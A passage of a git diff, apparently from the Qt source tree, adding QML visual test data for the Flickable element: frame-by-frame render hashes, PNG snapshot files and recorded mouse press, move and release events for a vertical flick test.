+ Frame {
+ msec: 4432
+ hash: "f955985ee02fcb810ab8c5f4790f5c12"
+ }
+ Frame {
+ msec: 4448
+ hash: "d06b83769bf0f0331e53c270f5dc294c"
+ }
+ Frame {
+ msec: 4464
+ hash: "a49ef3866e3f71c26c57fcd616a6dc4c"
+ }
+ Frame {
+ msec: 4480
+ hash: "086f4bb966b2076f51b1f615368afda5"
+ }
+ Frame {
+ msec: 4496
+ hash: "898de0b200cb83c9724869dd2b74ed52"
+ }
+ Frame {
+ msec: 4512
+ hash: "47833f93c5c55f57de5733950ba53714"
+ }
+ Frame {
+ msec: 4528
+ hash: "0ced71db7e8c5b8ce8e195a7b821507d"
+ }
+ Frame {
+ msec: 4544
+ hash: "84888b8748e297ed4e0525019865ea2b"
+ }
+ Frame {
+ msec: 4560
+ hash: "0f62d1aaa0fec0dd90351258a3745869"
+ }
+ Frame {
+ msec: 4576
+ hash: "e34a874942161ea830907f94040fc0a5"
+ }
+ Frame {
+ msec: 4592
+ hash: "9031e4ad8ee57a8b826d6a6394f0feb9"
+ }
+ Frame {
+ msec: 4608
+ hash: "9031e4ad8ee57a8b826d6a6394f0feb9"
+ }
+ Frame {
+ msec: 4624
+ hash: "cc8a2477368001015b68c99db95ebaa1"
+ }
+ Frame {
+ msec: 4640
+ hash: "01c0f4d5b155eb16ac364b24d5085bac"
+ }
+ Frame {
+ msec: 4656
+ hash: "4c4f318b03e0da461bcecb61f43ef3cd"
+ }
+ Frame {
+ msec: 4672
+ hash: "dffd22d719f18c943cd0c30afe272434"
+ }
+ Frame {
+ msec: 4688
+ hash: "4f7ab0450512ae1319dad22a6e0400b7"
+ }
+ Frame {
+ msec: 4704
+ hash: "ea29e23bdb49a30694640dfb078c796a"
+ }
+ Frame {
+ msec: 4720
+ hash: "80739ed287906d0b55297be4b74a54cb"
+ }
+ Frame {
+ msec: 4736
+ hash: "8d9117cf841c4b158f30b79ac8f2afb0"
+ }
+ Frame {
+ msec: 4752
+ hash: "1850e9117160b2bd1865274092f9ec84"
+ }
+ Frame {
+ msec: 4768
+ hash: "07945c8954860895f95f8e352c49e0a5"
+ }
+ Frame {
+ msec: 4784
+ hash: "d0fa6087d2859446ff8f317c9d7dafe1"
+ }
+ Frame {
+ msec: 4800
+ hash: "8ebba2084793d90a640ec2fb12dc0547"
+ }
+ Frame {
+ msec: 4816
+ image: "flickable-nested.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "77d479675c36ecda0926061449f5a60b"
+ }
+ Frame {
+ msec: 4848
+ hash: "77d479675c36ecda0926061449f5a60b"
+ }
+ Frame {
+ msec: 4864
+ hash: "b968c1528ce7ecf80008fbd56f0ca9a9"
+ }
+ Frame {
+ msec: 4880
+ hash: "b968c1528ce7ecf80008fbd56f0ca9a9"
+ }
+ Frame {
+ msec: 4896
+ hash: "b968c1528ce7ecf80008fbd56f0ca9a9"
+ }
+ Frame {
+ msec: 4912
+ hash: "b968c1528ce7ecf80008fbd56f0ca9a9"
+ }
+ Frame {
+ msec: 4928
+ hash: "b968c1528ce7ecf80008fbd56f0ca9a9"
+ }
+ Frame {
+ msec: 4944
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 4960
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 4976
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 4992
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5008
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5024
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5040
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5056
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5072
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5088
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5104
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5120
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5136
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5152
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5168
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5184
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5200
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5216
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5232
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5248
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5264
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5280
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5296
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5312
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5328
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5344
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5360
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5376
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5392
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5408
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5424
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5440
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5456
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5472
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5488
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5504
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5520
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5536
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5552
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5568
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5584
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5600
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5616
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5632
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5648
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5664
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5680
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+ Frame {
+ msec: 5696
+ hash: "38f29e86bd9bfe4df04c6411374f76ae"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.0.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.0.png
new file mode 100644
index 00000000..5af9306b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.1.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.1.png
new file mode 100644
index 00000000..61acc87e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.2.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.2.png
new file mode 100644
index 00000000..bc6ac347
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.3.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.3.png
new file mode 100644
index 00000000..bc6ac347
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.4.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.4.png
new file mode 100644
index 00000000..c970488b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.5.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.5.png
new file mode 100644
index 00000000..0af1424c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.6.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.6.png
new file mode 100644
index 00000000..c826907d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.7.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.7.png
new file mode 100644
index 00000000..5af9306b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.8.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.8.png
new file mode 100644
index 00000000..f714fa5d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.qml b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.qml
new file mode 100644
index 00000000..8ad3029b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.qml
@@ -0,0 +1,3647 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "flickable-vertical.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 48
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 64
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 80
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 96
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 112
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 128
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 144
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 160
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 176
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 192
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 208
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 224
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 240
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 256
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 272
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 288
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 159; y: 207
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 304
+ hash: "71a0273e7582419e07937fe701d8e027"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 159; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 320
+ hash: "71a0273e7582419e07937fe701d8e027"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 159; y: 205
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 159; y: 203
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 336
+ hash: "71a0273e7582419e07937fe701d8e027"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 159; y: 199
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 157; y: 190
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 352
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 155; y: 176
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 153; y: 158
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 368
+ hash: "a8d53f622836800e43157685ce21fad4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 151; y: 141
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 148; y: 118
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 384
+ hash: "99c8215fbd87e45836908a85748dccc7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 146; y: 94
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 141; y: 70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 400
+ hash: "d56ff1a2994f1acb5ad06b0468672a29"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 136; y: 46
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 136; y: 46
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 416
+ hash: "85ba01e36cc978459451887facbc3260"
+ }
+ Frame {
+ msec: 432
+ hash: "958d223a6b27ecc87febd860168d5aa5"
+ }
+ Frame {
+ msec: 448
+ hash: "851ef5f56b7b05d3feb0a1a357f96007"
+ }
+ Frame {
+ msec: 464
+ hash: "4d90460d3b6c46075ffda426bc6ceaa6"
+ }
+ Frame {
+ msec: 480
+ hash: "bb67acd602414cf59e27b5ff19f69169"
+ }
+ Frame {
+ msec: 496
+ hash: "acce28653f8bf46c09067254774fb126"
+ }
+ Frame {
+ msec: 512
+ hash: "91ea2538dfe0f9af7b4732cb4474215b"
+ }
+ Frame {
+ msec: 528
+ hash: "e7fd52f25a4a9c31a2f2fabd59c31160"
+ }
+ Frame {
+ msec: 544
+ hash: "6acdb4852ef9091382030998e28d02a5"
+ }
+ Frame {
+ msec: 560
+ hash: "10c7eaab96a538a7111b054a403132a3"
+ }
+ Frame {
+ msec: 576
+ hash: "4ebb31f7945bb5542f9e5146888b1065"
+ }
+ Frame {
+ msec: 592
+ hash: "b98d594580ad701afb4d2ef186853bc4"
+ }
+ Frame {
+ msec: 608
+ hash: "2700eb44f9b7400f3c1bd11d878e078d"
+ }
+ Frame {
+ msec: 624
+ hash: "b8a8c4db8325b3e0292e6473084347d9"
+ }
+ Frame {
+ msec: 640
+ hash: "88ff05697e82e78847794b153be12c46"
+ }
+ Frame {
+ msec: 656
+ hash: "06970943c3cd12f07b1d661de0ab730f"
+ }
+ Frame {
+ msec: 672
+ hash: "5804b412094ab17424de4ba12b2e2e32"
+ }
+ Frame {
+ msec: 688
+ hash: "8ff038b364f065e67430b2a312a10101"
+ }
+ Frame {
+ msec: 704
+ hash: "8a9a1c725b80af8fd3ffb9d8bc7328ac"
+ }
+ Frame {
+ msec: 720
+ hash: "83c3481ec7a1dddcbc36d6fb9b7d6149"
+ }
+ Frame {
+ msec: 736
+ hash: "abf102e5d88bef8ed429c222284907da"
+ }
+ Frame {
+ msec: 752
+ hash: "e9bcb3268f705e708ffbcf707c78c889"
+ }
+ Frame {
+ msec: 768
+ hash: "918c60c1ed90f5803d24ea515f21f8fa"
+ }
+ Frame {
+ msec: 784
+ hash: "f3064485083025aba09224faafcede14"
+ }
+ Frame {
+ msec: 800
+ hash: "9f36e5b91e6abc9f991625cc52afdd4e"
+ }
+ Frame {
+ msec: 816
+ hash: "70a50039fbd67d4b56c0c7ec3d7aecd1"
+ }
+ Frame {
+ msec: 832
+ hash: "90bbef58e2e59021f68b878db477f74b"
+ }
+ Frame {
+ msec: 848
+ hash: "21480d7b949acba033f4686c666d3f85"
+ }
+ Frame {
+ msec: 864
+ hash: "b622d2cea2428fb92a8e37715a60f195"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 109; y: 69
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 880
+ hash: "b622d2cea2428fb92a8e37715a60f195"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 110; y: 70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 110; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 896
+ hash: "b622d2cea2428fb92a8e37715a60f195"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 110; y: 74
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 79
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 912
+ hash: "8b537cd0481c1a9bf84f4855ae5697ad"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 89
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 113; y: 104
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 928
+ hash: "f5aba503b2c155401d26be068724e28a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 115; y: 119
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 115; y: 135
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 944
+ hash: "1aca5a9415dd669a0ff76ef4da9c9a56"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 118; y: 160
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 120; y: 183
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 960
+ hash: "b046e18396cd3d2da6505fa783bd2b89"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 122; y: 205
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 124; y: 230
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 124; y: 230
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 976
+ image: "flickable-vertical.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "c4506098417f905871a43d183cd5904d"
+ }
+ Frame {
+ msec: 1008
+ hash: "fe8014819e6fe41fa109f5b0ff2e9764"
+ }
+ Frame {
+ msec: 1024
+ hash: "6acdb4852ef9091382030998e28d02a5"
+ }
+ Frame {
+ msec: 1040
+ hash: "d5a9739669a9a641c0c1f44b777cb9b8"
+ }
+ Frame {
+ msec: 1056
+ hash: "a4006cb90c69313b9b04a6b7b8734855"
+ }
+ Frame {
+ msec: 1072
+ hash: "23b447e486a6354354505171cf3c45ec"
+ }
+ Frame {
+ msec: 1088
+ hash: "ad172b89d9764bd568d9127c91547c0b"
+ }
+ Frame {
+ msec: 1104
+ hash: "0003fb6329e0bf293d56af63265bf0ca"
+ }
+ Frame {
+ msec: 1120
+ hash: "dd62960e62800219c179fcd481e4504d"
+ }
+ Frame {
+ msec: 1136
+ hash: "7fe6c7bd1bc9e46d3e520178a2309e87"
+ }
+ Frame {
+ msec: 1152
+ hash: "bb67acd602414cf59e27b5ff19f69169"
+ }
+ Frame {
+ msec: 1168
+ hash: "3170c18b8dd74429b0f366ec07f4870b"
+ }
+ Frame {
+ msec: 1184
+ hash: "249e4e489236e3f0748ba63c7a105b33"
+ }
+ Frame {
+ msec: 1200
+ hash: "bd2fb97c583e6fe653a32fa610d6ac83"
+ }
+ Frame {
+ msec: 1216
+ hash: "95ca2f988370075070c6a98e5e680206"
+ }
+ Frame {
+ msec: 1232
+ hash: "851ef5f56b7b05d3feb0a1a357f96007"
+ }
+ Frame {
+ msec: 1248
+ hash: "80f599f50af9e601536f62ea93f4e429"
+ }
+ Frame {
+ msec: 1264
+ hash: "485d719d81429e63be4de1ba81d53996"
+ }
+ Frame {
+ msec: 1280
+ hash: "745f3c2e0baede59a52805eddac5b01f"
+ }
+ Frame {
+ msec: 1296
+ hash: "fea3fa6e26eb150ab37fe96a34d3be3b"
+ }
+ Frame {
+ msec: 1312
+ hash: "29c8004517294539adf3243533381436"
+ }
+ Frame {
+ msec: 1328
+ hash: "85ba01e36cc978459451887facbc3260"
+ }
+ Frame {
+ msec: 1344
+ hash: "deedb9ddcc2f5354a2356178db54d971"
+ }
+ Frame {
+ msec: 1360
+ hash: "9e1fb461c13b4affa39e5909d3ade168"
+ }
+ Frame {
+ msec: 1376
+ hash: "684a543d7afc5a5cac2bb823bbb94893"
+ }
+ Frame {
+ msec: 1392
+ hash: "636f04661a0418c1fdcaaaba28092671"
+ }
+ Frame {
+ msec: 1408
+ hash: "89cac82b6751208654d1e4ef4df8ef28"
+ }
+ Frame {
+ msec: 1424
+ hash: "a974415dcf31bee79874c4a6e84cf796"
+ }
+ Frame {
+ msec: 1440
+ hash: "f74c075e8cf2aef501b7115427b3b221"
+ }
+ Frame {
+ msec: 1456
+ hash: "7efcd27e34db1d3adc3d31e0b9ebe432"
+ }
+ Frame {
+ msec: 1472
+ hash: "c8747327ae3370b04a996aa6b5e373c6"
+ }
+ Frame {
+ msec: 1488
+ hash: "b7b32b5e782f8f5b1cbd6f581f90004a"
+ }
+ Frame {
+ msec: 1504
+ hash: "5fda56f77948e183557ff54690030746"
+ }
+ Frame {
+ msec: 1520
+ hash: "6e43987a8db7a6231887cf5883d381bf"
+ }
+ Frame {
+ msec: 1536
+ hash: "901e1f9851d05ff300fa2d52a38829ec"
+ }
+ Frame {
+ msec: 1552
+ hash: "abda2edf3c9f1aa28f41bf28083d081f"
+ }
+ Frame {
+ msec: 1568
+ hash: "5e324e90e4056f59730db9fbc941609a"
+ }
+ Frame {
+ msec: 1584
+ hash: "d98ec6ad7e6f2df6796f975cdf06ea2c"
+ }
+ Frame {
+ msec: 1600
+ hash: "fa62c8154b5aba9fa6daa0a50229e752"
+ }
+ Frame {
+ msec: 1616
+ hash: "c03b7e52c7da4f1cb6a4a2cab119a1a1"
+ }
+ Frame {
+ msec: 1632
+ hash: "57c1149d35ed84de63bac7accdb30c77"
+ }
+ Frame {
+ msec: 1648
+ hash: "48823d7e5b72ff6e11bbe877962c9884"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 44; y: 282
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1664
+ hash: "99c8215fbd87e45836908a85748dccc7"
+ }
+ Frame {
+ msec: 1680
+ hash: "45e2cf43322f038d2b322dea82e829f1"
+ }
+ Frame {
+ msec: 1696
+ hash: "6473a0dc426bf118674d09b281fb6c38"
+ }
+ Frame {
+ msec: 1712
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 44; y: 282
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1728
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 1744
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 1760
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 1776
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 1792
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 1808
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 1824
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 1840
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 1856
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 1872
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 1888
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 1904
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 1920
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 1936
+ image: "flickable-vertical.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 1968
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 1984
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2000
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2016
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2032
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2048
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2064
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2080
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 95; y: 222
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 95; y: 221
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2096
+ hash: "5f6ed58401fddd692503810f22b23e93"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 95; y: 220
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 95; y: 218
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2112
+ hash: "5f6ed58401fddd692503810f22b23e93"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 95; y: 216
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 95; y: 212
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2128
+ hash: "5f6ed58401fddd692503810f22b23e93"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 96; y: 205
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 96; y: 195
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2144
+ hash: "5f6ed58401fddd692503810f22b23e93"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 97; y: 184
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 97; y: 168
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2160
+ hash: "5f6ed58401fddd692503810f22b23e93"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 99; y: 153
+ modifiers: 0
